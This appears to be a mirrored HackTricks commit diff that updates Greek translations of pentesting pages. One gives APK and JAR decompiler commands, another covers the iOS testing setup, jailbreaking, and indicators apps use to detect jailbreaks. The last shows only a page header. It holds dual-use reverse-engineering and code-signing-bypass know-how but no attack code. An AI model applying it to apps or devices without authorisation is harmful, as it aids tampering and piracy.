mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['mobile-pentesting/android-app-pentesting/apk-decompilers.md
This commit is contained in:
parent
6bb3abe059
commit
bd69da6a15
5 changed files with 187 additions and 143 deletions
|
@ -1,8 +1,8 @@
|
|||
# APK decompilers
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -14,10 +14,8 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
**Για περισσότερες λεπτομέρειες σχετικά με κάθε εργαλείο, ελέγξτε την αρχική ανάρτηση από [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)**
|
||||
|
||||
**Για περισσότερες λεπτομέρειες σχετικά με κάθε εργαλείο, ελέγξτε την αρχική ανάρτηση από** [**https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr**](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)
|
||||
|
||||
### [JD-Gui](https://github.com/java-decompiler/jd-gui)
|
||||
|
||||
|
@ -27,9 +25,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
**Jadx** προσφέρει μια φιλική προς το χρήστη διεπαφή για την αποσυμπίεση του κώδικα Java από εφαρμογές Android. Συνιστάται για την ευκολία χρήσης του σε διάφορες πλατφόρμες.
|
||||
|
||||
- Για να εκκινήσετε το GUI, πλοηγηθείτε στον φάκελο bin και εκτελέστε: `jadx-gui`
|
||||
- Για χρήση από τη γραμμή εντολών, αποσυμπιέστε ένα APK με: `jadx app.apk`
|
||||
- Για να καθορίσετε έναν φάκελο εξόδου ή να προσαρμόσετε τις επιλογές αποσυμπίεσης: `jadx app.apk -d <path to output dir> --no-res --no-src --no-imports`
|
||||
* Για να εκκινήσετε το GUI, πλοηγηθείτε στον φάκελο bin και εκτελέστε: `jadx-gui`
|
||||
* Για χρήση από τη γραμμή εντολών, αποσυμπιέστε ένα APK με: `jadx app.apk`
|
||||
* Για να καθορίσετε έναν φάκελο εξόδου ή να προσαρμόσετε τις επιλογές αποσυμπίεσης: `jadx app.apk -d <path to output dir> --no-res --no-src --no-imports`
|
||||
|
||||
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
|
||||
|
||||
|
@ -37,43 +35,46 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases)
|
||||
|
||||
Με το **Bytecode-Viewer**, μπορείτε να αναλύσετε αρχεία APK χρησιμοποιώντας πολλαπλούς αποσυμπιεστές. Αφού το κατεβάσετε, εκτελέστε το Bytecode-Viewer, φορτώστε το APK σας και επιλέξτε τους αποσυμπιεστές που επιθυμείτε να χρησιμοποιήσετε για ταυτόχρονη ανάλυση.
|
||||
Με το **Bytecode-Viewer**, μπορείτε να αναλύσετε αρχεία APK χρησιμοποιώντας πολλαπλούς αποσυμπιεστές. Αφού το κατεβάσετε, εκτελέστε το Bytecode-Viewer, φορτώστε το APK σας και επιλέξτε τους αποσυμπιεστές που θέλετε να χρησιμοποιήσετε για ταυτόχρονη ανάλυση.
|
||||
|
||||
### [Enjarify](https://github.com/Storyyeller/enjarify)
|
||||
|
||||
**Enjarify** μεταφράζει τον Dalvik bytecode σε Java bytecode, επιτρέποντας στα εργαλεία ανάλυσης Java να αναλύουν τις εφαρμογές Android πιο αποτελεσματικά.
|
||||
|
||||
- Για να χρησιμοποιήσετε το Enjarify, εκτελέστε: `enjarify app.apk`
|
||||
Αυτό δημιουργεί τον ισοδύναμο Java bytecode του παρεχόμενου APK.
|
||||
* Για να χρησιμοποιήσετε το Enjarify, εκτελέστε: `enjarify app.apk` Αυτό δημιουργεί τον ισοδύναμο Java bytecode του παρεχόμενου APK.
|
||||
|
||||
### [CFR](https://github.com/leibnitz27/cfr)
|
||||
|
||||
**CFR** είναι ικανό να αποσυμπιέσει σύγχρονες δυνατότητες Java. Χρησιμοποιήστε το ως εξής:
|
||||
**CFR** είναι ικανό να αποσυμπιέσει σύγχρονα χαρακτηριστικά Java. Χρησιμοποιήστε το ως εξής:
|
||||
|
||||
- Για τυπική αποσυμπίεση: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
||||
- Για μεγάλα αρχεία JAR, προσαρμόστε την κατανομή μνήμης JVM: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
||||
* Για τυπική αποσυμπίεση: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
||||
* Για μεγάλα αρχεία JAR, προσαρμόστε την κατανομή μνήμης JVM: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
||||
|
||||
### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
|
||||
|
||||
**Fernflower**, ένας αναλυτικός αποσυμπιεστής, απαιτεί κατασκευή από πηγή. Αφού κατασκευάσετε:
|
||||
|
||||
- Αποσυμπιέστε ένα αρχείο JAR: `java -jar ./fernflower.jar "app.jar" "output_directory"`
|
||||
Στη συνέχεια, εξαγάγετε τα αρχεία `.java` από το παραγόμενο JAR χρησιμοποιώντας `unzip`.
|
||||
* Αποσυμπιέστε ένα αρχείο JAR: `java -jar ./fernflower.jar "app.jar" "output_directory"` Στη συνέχεια, εξαγάγετε τα `.java` αρχεία από το παραγόμενο JAR χρησιμοποιώντας `unzip`.
|
||||
|
||||
### [Krakatau](https://github.com/Storyyeller/Krakatau)
|
||||
|
||||
**Krakatau** προσφέρει λεπτομερή έλεγχο της αποσυμπίεσης, ειδικά για την επεξεργασία εξωτερικών βιβλιοθηκών.
|
||||
|
||||
- Χρησιμοποιήστε το Krakatau καθορίζοντας τη διαδρομή της τυπικής βιβλιοθήκης και το αρχείο JAR προς αποσυμπίεση: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
|
||||
* Χρησιμοποιήστε το Krakatau καθορίζοντας τη διαδρομή της τυπικής βιβλιοθήκης και το αρχείο JAR προς αποσυμπίεση: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
|
||||
|
||||
### [procyon](https://github.com/mstrobel/procyon)
|
||||
|
||||
Για απλή αποσυμπίεση με το **procyon**:
|
||||
|
||||
- Αποσυμπιέστε ένα αρχείο JAR σε έναν καθορισμένο φάκελο: `procyon -jar "app.jar" -o "output_directory"`
|
||||
* Αποσυμπιέστε ένα αρχείο JAR σε έναν καθορισμένο φάκελο: `procyon -jar "app.jar" -o "output_directory"`
|
||||
|
||||
### [frida-DEXdump](https://github.com/hluwa/frida-dexdump)
|
||||
|
||||
Αυτό το εργαλείο μπορεί να χρησιμοποιηθεί για να αποθηκεύσει το DEX μιας εκτελούμενης APK στη μνήμη. Αυτό βοηθά να ξεπεραστεί η στατική παραπλάνηση που αφαιρείται ενώ η εφαρμογή εκτελείται στη μνήμη.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -85,5 +86,3 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# iOS Testing Environment
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -14,18 +14,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Apple Developer Program
|
||||
|
||||
Μια **ταυτότητα προγραμματισμού** είναι μια συλλογή δημόσιων και ιδιωτικών κλειδιών που σχετίζονται με έναν λογαριασμό προγραμματιστή της Apple. Για να **υπογράψετε εφαρμογές** πρέπει να πληρώσετε **99$/έτος** για να εγγραφείτε στο **Apple Developer Program** για να αποκτήσετε την ταυτότητα προγραμματισμού σας. Χωρίς αυτό δεν θα μπορείτε να εκτελέσετε εφαρμογές από τον πηγαίο κώδικα σε μια φυσική συσκευή. Μια άλλη επιλογή είναι να χρησιμοποιήσετε μια **jailbroken συσκευή**.
|
||||
Μια **ταυτότητα παροχής** είναι μια συλλογή δημόσιων και ιδιωτικών κλειδιών που σχετίζονται με έναν λογαριασμό προγραμματιστή της Apple. Για να **υπογράψετε εφαρμογές** πρέπει να πληρώσετε **99$/χρόνο** για να εγγραφείτε στο **Apple Developer Program** για να αποκτήσετε την ταυτότητα παροχής σας. Χωρίς αυτό δεν θα μπορείτε να εκτελέσετε εφαρμογές από τον πηγαίο κώδικα σε μια φυσική συσκευή. Μια άλλη επιλογή για να το κάνετε αυτό είναι να χρησιμοποιήσετε μια **jailbroken συσκευή**.
|
||||
|
||||
Από την έκδοση Xcode 7.2, η Apple έχει προσφέρει μια επιλογή για τη δημιουργία ενός **δωρεάν προφίλ ανάπτυξης iOS** που επιτρέπει να γράφετε και να δοκιμάζετε την εφαρμογή σας σε ένα πραγματικό iPhone. Πηγαίνετε στο _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Προσθέστε νέο Appli ID με τα διαπιστευτήριά σας) --> _Κάντε κλικ στο Apple ID που δημιουργήθηκε_ --> _Διαχείριση Πιστοποιητικών_ --> _+_ (Apple Development) --> _Έγινε_\
|
||||
Από την έκδοση Xcode 7.2, η Apple έχει παρέχει μια επιλογή για τη δημιουργία ενός **δωρεάν προφίλ ανάπτυξης iOS** που επιτρέπει να γράφετε και να δοκιμάζετε την εφαρμογή σας σε ένα πραγματικό iPhone. Πηγαίνετε στο _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Προσθέστε νέο Appli ID με τα διαπιστευτήριά σας) --> _Κάντε κλικ στο Apple ID που δημιουργήθηκε_ --> _Διαχείριση Πιστοποιητικών_ --> _+_ (Apple Development) --> _Έγινε_\
|
||||
\_\_Στη συνέχεια, για να εκτελέσετε την εφαρμογή σας στο iPhone σας, πρέπει πρώτα να **υποδείξετε το iPhone να εμπιστευτεί τον υπολογιστή.** Στη συνέχεια, μπορείτε να προσπαθήσετε να **εκτελέσετε την εφαρμογή στο κινητό από το Xcode,** αλλά θα εμφανιστεί ένα σφάλμα. Έτσι, πηγαίνετε στο _Settings_ --> _General_ --> _Profiles and Device Management_ --> Επιλέξτε το μη αξιόπιστο προφίλ και κάντε κλικ στο "**Trust**".
|
||||
|
||||
Σημειώστε ότι **οι εφαρμογές που υπογράφονται από το ίδιο πιστοποιητικό υπογραφής μπορούν να μοιράζονται πόρους με ασφαλή τρόπο, όπως στοιχεία keychain**.
|
||||
Σημειώστε ότι **οι εφαρμογές που υπογράφονται από το ίδιο πιστοποιητικό υπογραφής μπορούν να μοιράζονται πόρους με ασφαλή τρόπο, όπως στοιχεία του keychain**.
|
||||
|
||||
Τα προφίλ προγραμματισμού αποθηκεύονται μέσα στο τηλέφωνο στο **`/Library/MobileDevice/ProvisioningProfiles`**
|
||||
Τα προφίλ παροχής αποθηκεύονται μέσα στο τηλέφωνο στο **`/Library/MobileDevice/ProvisioningProfiles`**
|
||||
|
||||
## **Simulator**
|
||||
|
||||
|
@ -38,7 +37,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
Το πρώτο πράγμα που πρέπει να γνωρίζετε είναι ότι **η εκτέλεση ενός pentest μέσα σε έναν προσομοιωτή θα είναι πολύ πιο περιορισμένη από το να το κάνετε σε μια jailbroken συσκευή**.
|
||||
|
||||
Όλα τα εργαλεία που απαιτούνται για την κατασκευή και υποστήριξη μιας εφαρμογής iOS υποστηρίζονται **μόνο επίσημα σε Mac OS**.\
|
||||
Το de facto εργαλείο της Apple για τη δημιουργία/αποσφαλμάτωσης/εργαλειοποίησης εφαρμογών iOS είναι το **Xcode**. Μπορεί να χρησιμοποιηθεί για να κατεβάσετε άλλα στοιχεία όπως **προσομοιωτές** και διαφορετικές **εκδόσεις SDK** που απαιτούνται για να κατασκευάσετε και να **δοκιμάσετε** την εφαρμογή σας.\
|
||||
Το de facto εργαλείο της Apple για τη δημιουργία/αποσφαλμάτωση/εργαλειοποίηση εφαρμογών iOS είναι το **Xcode**. Μπορεί να χρησιμοποιηθεί για να κατεβάσετε άλλα συστατικά όπως **προσομοιωτές** και διαφορετικές **εκδόσεις SDK** που απαιτούνται για να κατασκευάσετε και να **δοκιμάσετε** την εφαρμογή σας.\
|
||||
Συνιστάται έντονα να **κατεβάσετε** το Xcode από το **επίσημο app store**. Άλλες εκδόσεις μπορεί να περιέχουν κακόβουλο λογισμικό.
|
||||
|
||||
Τα αρχεία του προσομοιωτή μπορούν να βρεθούν στο `/Users/<username>/Library/Developer/CoreSimulator/Devices`
|
||||
|
@ -67,9 +66,13 @@ iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
|
|||
|
||||
Το Corellium είναι ο μόνος δημόσια διαθέσιμος iOS emulator. Είναι μια λύση SaaS για επιχειρήσεις με μοντέλο άδειας ανά χρήστη και δεν προσφέρει καμία δοκιμαστική άδεια.
|
||||
|
||||
## Jailbeaking
|
||||
## No Jailbreak needed
|
||||
|
||||
Η Apple απαιτεί αυστηρά ότι ο κώδικας που εκτελείται στο iPhone πρέπει να είναι **υπογεγραμμένος από ένα πιστοποιητικό που εκδίδεται από την Apple**. **Jailbreaking** είναι η διαδικασία της ενεργής **παράκαμψης τέτοιων περιορισμών** και άλλων ελέγχων ασφαλείας που έχουν τεθεί από το λειτουργικό σύστημα. Επομένως, μόλις το συσκευή είναι jailbroken, ο **έλεγχος ακεραιότητας** που είναι υπεύθυνος για τον έλεγχο των εφαρμογών που εγκαθίστανται είναι διορθωμένος ώστε να **παρακαμπτεται**.
|
||||
Δείτε αυτήν την ανάρτηση στο blog σχετικά με το πώς να κάνετε pentest σε μια εφαρμογή iOS σε μια **μη jailbroken συσκευή**: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
|
||||
|
||||
## Jailbreaking
|
||||
|
||||
Η Apple απαιτεί αυστηρά ότι ο κώδικας που εκτελείται στο iPhone πρέπει να είναι **υπογεγραμμένος από ένα πιστοποιητικό που εκδίδεται από την Apple**. **Jailbreaking** είναι η διαδικασία της ενεργής **παράκαμψης τέτοιων περιορισμών** και άλλων ελέγχων ασφαλείας που έχουν τεθεί από το λειτουργικό σύστημα. Επομένως, μόλις η συσκευή είναι jailbroken, ο **έλεγχος ακεραιότητας** που είναι υπεύθυνος για τον έλεγχο των εφαρμογών που εγκαθίστανται είναι διορθωμένος ώστε να **παρακαμπτεται**.
|
||||
|
||||
{% hint style="info" %}
|
||||
Σε αντίθεση με το Android, **δεν μπορείτε να αλλάξετε σε "Developer Mode"** στο iOS για να εκτελέσετε μη υπογεγραμμένο/μη αξιόπιστο κώδικα στη συσκευή.
|
||||
|
@ -77,15 +80,15 @@ iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
|
|||
|
||||
### Android Rooting vs. iOS Jailbreaking
|
||||
|
||||
Ενώ συχνά συγκρίνονται, το **rooting** στο Android και το **jailbreaking** στο iOS είναι θεμελιωδώς διαφορετικές διαδικασίες. Το rooting των συσκευών Android μπορεί να περιλαμβάνει **την εγκατάσταση του δυαδικού `su`** ή **την αντικατάσταση του συστήματος με ένα ριζωμένο custom ROM**, το οποίο δεν απαιτεί απαραίτητα εκμεταλλεύσεις αν ο bootloader είναι ξεκλειδωμένος. **Η αναλαμπή custom ROMs** αντικαθιστά το λειτουργικό σύστημα της συσκευής μετά την ξεκλείδωση του bootloader, απαιτώντας μερικές φορές μια εκμετάλλευση.
|
||||
Ενώ συχνά συγκρίνονται, το **rooting** στο Android και το **jailbreaking** στο iOS είναι θεμελιωδώς διαφορετικές διαδικασίες. Το rooting των συσκευών Android μπορεί να περιλαμβάνει **την εγκατάσταση του δυαδικού `su`** ή **την αντικατάσταση του συστήματος με ένα rooted custom ROM**, το οποίο δεν απαιτεί απαραίτητα εκμεταλλεύσεις αν ο bootloader είναι ξεκλειδωμένος. **Η αναλαμπή custom ROMs** αντικαθιστά το λειτουργικό σύστημα της συσκευής μετά την ξεκλείδωση του bootloader, απαιτώντας μερικές φορές μια εκμετάλλευση.
|
||||
|
||||
Αντίθετα, οι συσκευές iOS δεν μπορούν να αναβοσβήνουν custom ROMs λόγω του περιορισμού του bootloader να εκκινεί μόνο εικόνες υπογεγραμμένες από την Apple. **Το jailbreaking iOS** στοχεύει να παρακάμψει τις προστασίες υπογραφής κώδικα της Apple για να εκτελέσει μη υπογεγραμμένο κώδικα, μια διαδικασία που περιπλέκεται από τις συνεχείς βελτιώσεις ασφαλείας της Apple.
|
||||
Αντίθετα, οι συσκευές iOS δεν μπορούν να αναβοσβήσουν custom ROMs λόγω του περιορισμού του bootloader να εκκινεί μόνο εικόνες υπογεγραμμένες από την Apple. **Το jailbreaking iOS** στοχεύει να παρακάμψει τις προστασίες υπογραφής κώδικα της Apple για να εκτελέσει μη υπογεγραμμένο κώδικα, μια διαδικασία που περιπλέκεται από τις συνεχείς βελτιώσεις ασφαλείας της Apple.
|
||||
|
||||
### Jailbreaking Challenges
|
||||
|
||||
Το jailbreaking iOS είναι ολοένα και πιο δύσκολο καθώς η Apple διορθώνει γρήγορα τις ευπάθειες. **Η υποβάθμιση του iOS** είναι δυνατή μόνο για περιορισμένο χρονικό διάστημα μετά από μια κυκλοφορία, καθιστώντας το jailbreaking μια ευαίσθητη χρονικά υπόθεση. Οι συσκευές που χρησιμοποιούνται για δοκιμές ασφαλείας δεν πρέπει να ενημερώνονται εκτός αν διασφαλίζεται η επαναφορά του jailbreaking.
|
||||
Το jailbreaking iOS είναι ολοένα και πιο δύσκολο καθώς η Apple διορθώνει τις ευπάθειες γρήγορα. **Η υποβάθμιση του iOS** είναι δυνατή μόνο για περιορισμένο χρονικό διάστημα μετά από μια κυκλοφορία, καθιστώντας το jailbreaking μια ευαίσθητη χρονικά υπόθεση. Οι συσκευές που χρησιμοποιούνται για δοκιμές ασφαλείας δεν πρέπει να ενημερώνονται εκτός αν διασφαλίζεται η επανα- jailbreaking.
|
||||
|
||||
Οι ενημερώσεις iOS ελέγχονται από έναν **μηχανισμό πρόκλησης-απάντησης** (SHSH blobs), επιτρέποντας την εγκατάσταση μόνο για απαντήσεις που υπογράφονται από την Apple. Αυτός ο μηχανισμός, γνωστός ως "παράθυρο υπογραφής", περιορίζει την ικανότητα αποθήκευσης και μετέπειτα χρήσης OTA πακέτων firmware. Ο ιστότοπος [IPSW Downloads](https://ipsw.me) είναι μια πηγή για τον έλεγχο των τρεχουσών παραθύρων υπογραφής.
|
||||
Οι ενημερώσεις iOS ελέγχονται από έναν **μηχανισμό πρόκλησης-απάντησης** (SHSH blobs), επιτρέποντας την εγκατάσταση μόνο για απαντήσεις που υπογράφονται από την Apple. Αυτός ο μηχανισμός, γνωστός ως "παράθυρο υπογραφής", περιορίζει την ικανότητα αποθήκευσης και μετέπειτα χρήσης πακέτων OTA firmware. Ο ιστότοπος [IPSW Downloads](https://ipsw.me) είναι μια πηγή για τον έλεγχο των τρεχουσών παραθύρων υπογραφής.
|
||||
|
||||
### Jailbreak Varieties
|
||||
|
||||
|
@ -106,7 +109,7 @@ iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
|
|||
|
||||
### Jailbreaking Benefits and Risks
|
||||
|
||||
Το jailbreaking **αφαιρεί την επιβολή sandboxing από το OS**, επιτρέποντας στις εφαρμογές να έχουν πρόσβαση σε ολόκληρο το σύστημα αρχείων. Αυτή η ελευθερία επιτρέπει την εγκατάσταση μη εγκεκριμένων εφαρμογών και την πρόσβαση σε περισσότερες APIs. Ωστόσο, για τους κανονικούς χρήστες, το jailbreaking **δεν συνιστάται** λόγω πιθανών κινδύνων ασφαλείας και αστάθειας της συσκευής.
|
||||
Το jailbreaking **αφαιρεί την sandboxing που επιβάλλεται από το OS**, επιτρέποντας στις εφαρμογές να έχουν πρόσβαση σε ολόκληρο το σύστημα αρχείων. Αυτή η ελευθερία επιτρέπει την εγκατάσταση μη εγκεκριμένων εφαρμογών και την πρόσβαση σε περισσότερες APIs. Ωστόσο, για τους κανονικούς χρήστες, το jailbreaking **δεν συνιστάται** λόγω πιθανών κινδύνων ασφαλείας και αστάθειας της συσκευής.
|
||||
|
||||
### **After Jailbreaking**
|
||||
|
||||
|
@ -116,10 +119,10 @@ iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
|
|||
|
||||
### **Jailbreak Detection**
|
||||
|
||||
**Πολλές εφαρμογές θα προσπαθήσουν να ανιχνεύσουν αν το κινητό είναι jailbroken και σε αυτή την περίπτωση η εφαρμογή δεν θα εκτελείται**
|
||||
**Πολλές εφαρμογές θα προσπαθήσουν να ανιχνεύσουν αν το κινητό είναι jailbroken και σε αυτήν την περίπτωση η εφαρμογή δεν θα εκτελείται**
|
||||
|
||||
* Μετά το jailbreaking, σε iOS **αρχεία και φάκελοι εγκαθίστανται συνήθως**, αυτοί μπορούν να αναζητηθούν για να προσδιοριστεί αν η συσκευή είναι jailbroken.
|
||||
* Σε μια jailbroken συσκευή, οι εφαρμογές αποκτούν **δικαιώματα ανάγνωσης/εγγραφής σε νέα αρχεία** εκτός του sandbox
|
||||
* Μετά το jailbreaking, σε μια iOS **αρχεία και φάκελοι εγκαθίστανται συνήθως**, αυτοί μπορούν να αναζητηθούν για να προσδιοριστεί αν η συσκευή είναι jailbroken.
|
||||
* Σε μια jailbroken συσκευή, οι εφαρμογές αποκτούν **δικαιώματα ανάγνωσης/εγγραφής σε νέα αρχεία** εκτός της sandbox
|
||||
* Ορισμένες **κλήσεις API** θα **συμπεριφέρονται διαφορετικά**
|
||||
* Η παρουσία της υπηρεσίας **OpenSSH**
|
||||
* Η κλήση `/bin/sh` θα **επιστρέψει 1** αντί για 0
|
||||
|
@ -136,9 +139,10 @@ iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
|
|||
## References
|
||||
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -150,5 +154,3 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,35 @@
|
|||
# Web API Pentesting
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
